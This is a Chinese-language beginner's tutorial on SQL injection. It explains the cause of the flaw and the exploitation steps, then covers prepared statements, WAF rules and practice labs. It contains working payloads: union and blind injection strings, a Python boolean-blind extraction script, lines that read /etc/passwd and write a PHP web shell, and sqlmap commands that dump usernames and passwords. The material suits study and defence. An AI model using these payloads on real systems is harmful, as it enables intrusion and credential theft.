SQL注入新手入门学习笔记

目录

数据库基础知识

SQL注入产生原理

影响SQL注入的主要因素

常见SQL注入的利用过程

黑盒/白盒发现SQL注入

实战案例分析

防护措施

工具推荐


数据库基础知识

1. 数据库基本概念

数据库名:存储数据的逻辑容器

表名:数据库中的数据表

列名:表中的字段

数据:表中存储的具体信息

2. 自带数据库及用户权限

MySQL

系统数据库


information_schema
:存储数据库元信息


mysql
:存储用户账户和权限信息


performance_schema
:性能监控数据


sys
:系统视图和函数

默认用户


root
:超级管理员


mysql.sys
:系统用户

SQL Server

系统数据库


master
:系统配置信息


model
:新数据库模板


msdb
:SQL Server代理信息


tempdb
:临时数据

默认用户


sa
:系统管理员


dbo
:数据库所有者

Oracle

系统表空间


SYSTEM
:数据字典


SYSAUX
:辅助表空间


USERS
:用户数据

默认用户


SYS
:超级用户


SYSTEM
:系统管理员

3. 数据库敏感函数及默认端口

数据库 默认端口 敏感函数 应用场景
MySQL 3306
load_file()
,
into outfile
,
system()
文件读写、命令执行
SQL Server 1433
xp_cmdshell
,
sp_oacreate
,
openrowset()
命令执行、文件操作
Oracle 1521
UTL_FILE
,
DBMS_JAVA
文件操作、Java执行
PostgreSQL 5432
COPY
,
pg_read_file()
文件读写
SQLite
load_extension()
扩展加载

4. 数据库基础表重点内容

4.1 表结构基础概念

主键(Primary Key):唯一标识表中每一行的字段

外键(Foreign Key):建立表间关系的字段

索引(Index):提高查询性能的数据结构

约束(Constraint):保证数据完整性的规则

4.2 重要系统表详解
MySQL系统表


-- information_schema.tables:所有表信息
SELECT table_schema, table_name, table_type 
FROM information_schema.tables 
WHERE table_schema = 'database_name';
​
-- information_schema.columns:所有列信息
SELECT column_name, data_type, is_nullable 
FROM information_schema.columns 
WHERE table_name = 'users';
​
-- information_schema.schemata:所有数据库信息
SELECT schema_name FROM information_schema.schemata;
​
-- mysql.user:用户权限信息
SELECT user, host, authentication_string FROM mysql.user;
SQL Server系统表


-- sys.tables:用户表信息
SELECT name, object_id, create_date FROM sys.tables;
​
-- sys.columns:列信息
SELECT name, system_type_id, max_length 
FROM sys.columns WHERE object_id = OBJECT_ID('users');
​
-- sys.databases:数据库信息
SELECT name, database_id, create_date FROM sys.databases;
​
-- sys.server_principals:服务器主体
SELECT name, type_desc, create_date FROM sys.server_principals;
Oracle系统表


-- user_tables:用户表信息
SELECT table_name, tablespace_name, num_rows FROM user_tables;
​
-- user_tab_columns:列信息
SELECT column_name, data_type, nullable 
FROM user_tab_columns WHERE table_name = 'USERS';
​
-- dba_users:用户信息
SELECT username, account_status, created FROM dba_users;
​
-- v$version:版本信息
SELECT banner FROM v$version;
4.3 常见表设计模式
用户表设计


CREATE TABLE users (
    id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) UNIQUE NOT NULL,
    password VARCHAR(255) NOT NULL,
    email VARCHAR(100) UNIQUE,
    role ENUM('admin', 'user', 'guest') DEFAULT 'user',
    status TINYINT DEFAULT 1,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
);
权限表设计


-- 角色表
CREATE TABLE roles (
    id INT PRIMARY KEY AUTO_INCREMENT,
    name VARCHAR(50) UNIQUE NOT NULL,
    description TEXT
);
​
-- 权限表
CREATE TABLE permissions (
    id INT PRIMARY KEY AUTO_INCREMENT,
    name VARCHAR(50) UNIQUE NOT NULL,
    resource VARCHAR(50) NOT NULL,
    action VARCHAR(20) NOT NULL
);
​
-- 角色权限关联表
CREATE TABLE role_permissions (
    role_id INT,
    permission_id INT,
    PRIMARY KEY (role_id, permission_id),
    FOREIGN KEY (role_id) REFERENCES roles(id),
    FOREIGN KEY (permission_id) REFERENCES permissions(id)
);
日志表设计


CREATE TABLE access_logs (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    user_id INT,
    ip_address VARCHAR(45),
    user_agent TEXT,
    request_method VARCHAR(10),
    request_uri TEXT,
    response_code INT,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    INDEX idx_user_id (user_id),
    INDEX idx_created_at (created_at)
);
4.4 表关系类型
一对一关系(1:1)


-- 用户基本信息表
CREATE TABLE users (
    id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) UNIQUE NOT NULL
);
​
-- 用户详细信息表
CREATE TABLE user_profiles (
    user_id INT PRIMARY KEY,
    full_name VARCHAR(100),
    phone VARCHAR(20),
    address TEXT,
    FOREIGN KEY (user_id) REFERENCES users(id)
);
一对多关系(1:N)


-- 分类表
CREATE TABLE categories (
    id INT PRIMARY KEY AUTO_INCREMENT,
    name VARCHAR(50) NOT NULL
);
​
-- 文章表
CREATE TABLE articles (
    id INT PRIMARY KEY AUTO_INCREMENT,
    title VARCHAR(200) NOT NULL,
    content TEXT,
    category_id INT,
    FOREIGN KEY (category_id) REFERENCES categories(id)
);
多对多关系(M:N)


-- 学生表
CREATE TABLE students (
    id INT PRIMARY KEY AUTO_INCREMENT,
    name VARCHAR(50) NOT NULL
);
​
-- 课程表
CREATE TABLE courses (
    id INT PRIMARY KEY AUTO_INCREMENT,
    name VARCHAR(100) NOT NULL
);
​
-- 学生课程关联表
CREATE TABLE student_courses (
    student_id INT,
    course_id INT,
    grade DECIMAL(3,1),
    PRIMARY KEY (student_id, course_id),
    FOREIGN KEY (student_id) REFERENCES students(id),
    FOREIGN KEY (course_id) REFERENCES courses(id)
);
4.5 索引设计原则
索引类型


-- 主键索引(自动创建)
ALTER TABLE users ADD PRIMARY KEY (id);
​
-- 唯一索引
CREATE UNIQUE INDEX idx_username ON users(username);
​
-- 普通索引
CREATE INDEX idx_email ON users(email);
​
-- 复合索引
CREATE INDEX idx_status_created ON users(status, created_at);
​
-- 全文索引(MySQL)
CREATE FULLTEXT INDEX idx_content ON articles(title, content);
索引优化建议

选择性高的列:优先为选择性高的列创建索引

查询频繁的列:为经常出现在WHERE子句中的列创建索引

排序列:为ORDER BY子句中的列创建索引

连接列:为JOIN操作中的列创建索引

4.6 数据类型选择
数值类型


-- 整数类型
TINYINT     -- 1字节,-128到127
SMALLINT    -- 2字节,-32768到32767
MEDIUMINT   -- 3字节,-8388608到8388607
INT         -- 4字节,-2147483648到2147483647
BIGINT      -- 8字节,更大范围
​
-- 浮点类型
FLOAT       -- 4字节单精度
DOUBLE      -- 8字节双精度
DECIMAL     -- 精确数值类型
字符串类型


-- 定长字符串
CHAR(n)     -- 固定长度,最大255字符
​
-- 变长字符串
VARCHAR(n)  -- 可变长度,最大65535字符
TEXT        -- 大文本,最大65535字符
MEDIUMTEXT  -- 中等文本,最大16777215字符
LONGTEXT    -- 长文本,最大4294967295字符
日期时间类型


DATE        -- 日期:YYYY-MM-DD
TIME        -- 时间:HH:MM:SS
DATETIME    -- 日期时间:YYYY-MM-DD HH:MM:SS
TIMESTAMP   -- 时间戳,自动更新
YEAR        -- 年份:YYYY

5. 数据库查询方法(CRUD操作)



-- 增加(Create)
INSERT INTO users (username, password) VALUES ('admin', '123456');
​
-- 查询(Read)
SELECT * FROM users WHERE id = 1;
​
-- 修改(Update)
UPDATE users SET password = 'newpass' WHERE id = 1;
​
-- 删除(Delete)
DELETE FROM users WHERE id = 1;

SQL注入产生原理

核心原理

代码中执行的SQL语句存在可控变量导致

示例代码(存在漏洞)



<?php
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = mysql_query($sql);
?>

攻击过程

正常请求:
http://example.com/user.php?id=1

恶意请求:
http://example.com/user.php?id=1 OR 1=1

实际执行的SQL:
SELECT * FROM users WHERE id = 1 OR 1=1

结果:返回所有用户数据


影响SQL注入的主要因素

1. 数据库类型(权限操作)

MySQL:支持联合查询、文件读写

SQL Server:支持堆叠查询、存储过程

Oracle:复杂的权限体系、PL/SQL

PostgreSQL:支持自定义函数、扩展

2. 数据操作方法(增删改查)

SELECT:信息泄露

INSERT:数据插入攻击

UPDATE:数据篡改

DELETE:数据删除

3. 参数数据类型(符号干扰)

数字型
id = 1

字符型
name = 'admin'

搜索型
name LIKE '%admin%'

4. 参数数据格式(加密编码等)

Base64编码

URL编码

十六进制编码

Unicode编码

5. 提交数据方式(数据包部分)

GET请求:URL参数

POST请求:表单数据

Cookie:会话数据

HTTP头:User-Agent、Referer等

6. 有无数据处理(无回显逻辑等)

有回显:Union注入、报错注入

无回显:布尔盲注、时间盲注


常见SQL注入的利用过程

1. 判断数据库类型

方法一:特有函数


-- MySQL
and version()>0
and user()>0
​
-- SQL Server
and @@version>0
and db_name()>0
​
-- Oracle
and (select banner from v$version where rownum=1)>0
​
-- PostgreSQL
and version()>0
方法二:特有语法


-- MySQL
and 1=1#
​
-- SQL Server
and 1=1--
​
-- Oracle
and 1=1--
​
-- PostgreSQL
and 1=1--

2. 判断参数类型及格式

数字型测试


id=1 and 1=1  -- 正常
id=1 and 1=2  -- 异常
字符型测试


name=admin' and '1'='1  -- 正常
name=admin' and '1'='2  -- 异常

3. 判断数据格式及提交

编码测试


-- URL编码
id=1%20and%201=1
​
-- 十六进制
id=0x31206and20313d31
​
-- Base64
id=MSBhbmQgMT0x

4. 判断数据回显及防护

有回显测试


-- Union注入
id=1 union select 1,2,3
​
-- 报错注入
id=1 and extractvalue(1,concat(0x7e,version(),0x7e))
无回显测试


-- 布尔盲注
id=1 and length(database())>5
​
-- 时间盲注
id=1 and if(length(database())>5,sleep(5),1)

5. 获取数据库名,表名,列名

MySQL信息收集


-- 获取数据库名
union select 1,database(),3
​
-- 获取表名
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
​
-- 获取列名
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'

6. 获取对应数据及尝试其他利用

数据获取


-- 获取用户数据
union select 1,group_concat(username,0x3a,password),3 from users
​
-- 文件读取
union select 1,load_file('/etc/passwd'),3
​
-- 文件写入
union select 1,2,3 into outfile '/var/www/html/shell.php'

黑盒/白盒发现SQL注入

黑盒测试方法

1. 盲对所有参数进行测试

URL参数
?id=1'

POST数据
username=admin'&password=123

Cookie值
PHPSESSID=abc123'

HTTP头
User-Agent: Mozilla' and 1=1

2. 整合功能点脑补进行测试

登录页面:用户名、密码字段

搜索功能:搜索关键词

用户资料:个人信息修改

商品展示:商品ID、分类ID

白盒测试方法

代码审计要点

查找数据库查询语句

检查用户输入处理

分析参数过滤机制

验证预编译语句使用

危险函数识别


// PHP危险函数
mysql_query()
mysqli_query()
PDO::query()
​
// Java危险方法
Statement.executeQuery()
Statement.executeUpdate()
​
// .NET危险方法
SqlCommand.ExecuteReader()
SqlCommand.ExecuteNonQuery()

实战案例分析

案例1:经典Union注入

漏洞页面


<?php
$id = $_GET['id'];
$sql = "SELECT id,title,content FROM news WHERE id = $id";
$result = mysql_query($sql);
?>
攻击步骤

判断注入点
id=1'
报错

判断字段数
id=1 order by 3
正常,
id=1 order by 4
报错

确定回显位
id=-1 union select 1,2,3

获取数据库信息
id=-1 union select 1,database(),version()

获取表名
id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

获取数据
id=-1 union select 1,group_concat(username,0x3a,password),3 from admin

案例2:布尔盲注

漏洞页面


<?php
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = mysql_query($sql);
if(mysql_num_rows($result) > 0) {
    echo "User exists";
} else {
    echo "User not found";
}
?>
攻击脚本


import requests
import string
​
url = "http://example.com/user.php"
database_name = ""
​
# 获取数据库名长度
for i in range(1, 20):
    payload = f"1 and length(database())={i}"
    response = requests.get(url, params={'id': payload})
    if "User exists" in response.text:
        db_length = i
        break
​
# 获取数据库名
for i in range(1, db_length + 1):
    for char in string.ascii_lowercase + string.digits + '_':
        payload = f"1 and substr(database(),{i},1)='{char}'"
        response = requests.get(url, params={'id': payload})
        if "User exists" in response.text:
            database_name += char
            break
​
print(f"Database name: {database_name}")

案例3:时间盲注

攻击载荷


-- 判断数据库名第一个字符
id=1 and if(substr(database(),1,1)='a',sleep(5),1)
​
-- 判断表是否存在
id=1 and if((select count(*) from information_schema.tables where table_schema=database() and table_name='admin')>0,sleep(5),1)
​
-- 获取管理员密码
id=1 and if(substr((select password from admin limit 1),1,1)='a',sleep(5),1)

防护措施

1. 预编译语句(推荐)

PHP PDO示例


<?php
$pdo = new PDO($dsn, $username, $password);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ? AND name = ?");
$stmt->execute([$id, $name]);
$result = $stmt->fetchAll();
?>
Java PreparedStatement示例


String sql = "SELECT * FROM users WHERE id = ? AND name = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setInt(1, id);
pstmt.setString(2, name);
ResultSet rs = pstmt.executeQuery();

2. 输入验证和过滤

白名单验证


<?php
function validateId($id) {
    if (!is_numeric($id) || $id <= 0) {
        return false;
    }
    return true;
}
​
function validateName($name) {
    if (!preg_match('/^[a-zA-Z0-9_]+$/', $name)) {
        return false;
    }
    return true;
}
?>
特殊字符转义


<?php
$name = mysql_real_escape_string($_POST['name']);
$sql = "SELECT * FROM users WHERE name = '$name'";
?>

3. 最小权限原则

数据库用户权限配置


-- 创建专用数据库用户
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';
​
-- 只授予必要权限
GRANT SELECT, INSERT, UPDATE ON webapp.* TO 'webapp'@'localhost';
​
-- 禁止文件操作权限
REVOKE FILE ON *.* FROM 'webapp'@'localhost';

4. WAF(Web应用防火墙)

规则示例


# 检测SQL注入关键词
SecRule ARGS "@detectSQLi" 
    "id:1001,
    phase:2,
    block,
    msg:'SQL Injection Attack Detected',
    logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}'"
 
# 检测Union注入
SecRule ARGS "@rx (?i)union.*select" 
    "id:1002,
    phase:2,
    block,
    msg:'Union SQL Injection Detected'"

工具推荐

自动化扫描工具

1. SQLMap


# 基本用法
sqlmap -u "http://example.com/user.php?id=1"
​
# 指定数据库类型
sqlmap -u "http://example.com/user.php?id=1" --dbms=mysql
​
# POST请求测试
sqlmap -u "http://example.com/login.php" --data="username=admin&password=123"
​
# Cookie注入测试
sqlmap -u "http://example.com/user.php" --cookie="PHPSESSID=abc123" --level=2
​
# 获取数据库信息
sqlmap -u "http://example.com/user.php?id=1" --dbs
sqlmap -u "http://example.com/user.php?id=1" -D database_name --tables
sqlmap -u "http://example.com/user.php?id=1" -D database_name -T table_name --columns
sqlmap -u "http://example.com/user.php?id=1" -D database_name -T table_name -C username,password --dump
2. Burp Suite

Intruder模块:批量测试参数

Repeater模块:手工测试和验证

Scanner模块:自动漏洞扫描

3. OWASP ZAP

开源Web应用安全扫描器

支持主动和被动扫描

提供丰富的插件扩展

手工测试工具

1. 浏览器插件

HackBar:快速构造测试载荷

Tamper Data:修改HTTP请求

Live HTTP Headers:查看HTTP头信息

2. 命令行工具


# curl测试
curl "http://example.com/user.php?id=1'"
​
# wget测试
wget "http://example.com/user.php?id=1 union select 1,2,3"

学习建议

1. 理论学习路径

数据库基础:SQL语法、数据库架构

Web开发基础:HTTP协议、服务器端编程

安全基础:OWASP Top 10、Web安全原理

SQL注入原理:注入类型、利用方法

2. 实践环境搭建

推荐靶场

DVWA:Damn Vulnerable Web Application

SQLi-Labs:专门的SQL注入练习平台

WebGoat:OWASP官方教学平台

Pikachu:国产Web安全靶场

环境搭建


# 使用Docker快速搭建
docker pull vulnerables/web-dvwa
docker run -d -p 80:80 vulnerables/web-dvwa
​
# 访问靶场
http://localhost
# 默认账号:admin/password

3. 进阶学习方向

代码审计:静态代码分析、漏洞挖掘

数据库安全:权限管理、加密存储

Web安全防护:WAF规则编写、安全架构设计

渗透测试:综合安全评估、红蓝对抗


总结

SQL注入作为Web安全中的经典漏洞,至今仍然是攻击者常用的手段之一。通过系统学习SQL注入的原理、类型、利用方法和防护措施,可以帮助开发者和安全人员更好地理解和防范这类安全威胁。

关键要点

预防为主:使用预编译语句是最有效的防护方法

深度防御:结合输入验证、权限控制、WAF等多层防护

持续学习:跟进新的注入技术和防护方法

实践验证:在安全环境中练习和验证理论知识

记住:安全是一个持续的过程,而不是一次性的结果

© 版权声明

相关文章

暂无评论

none
暂无评论...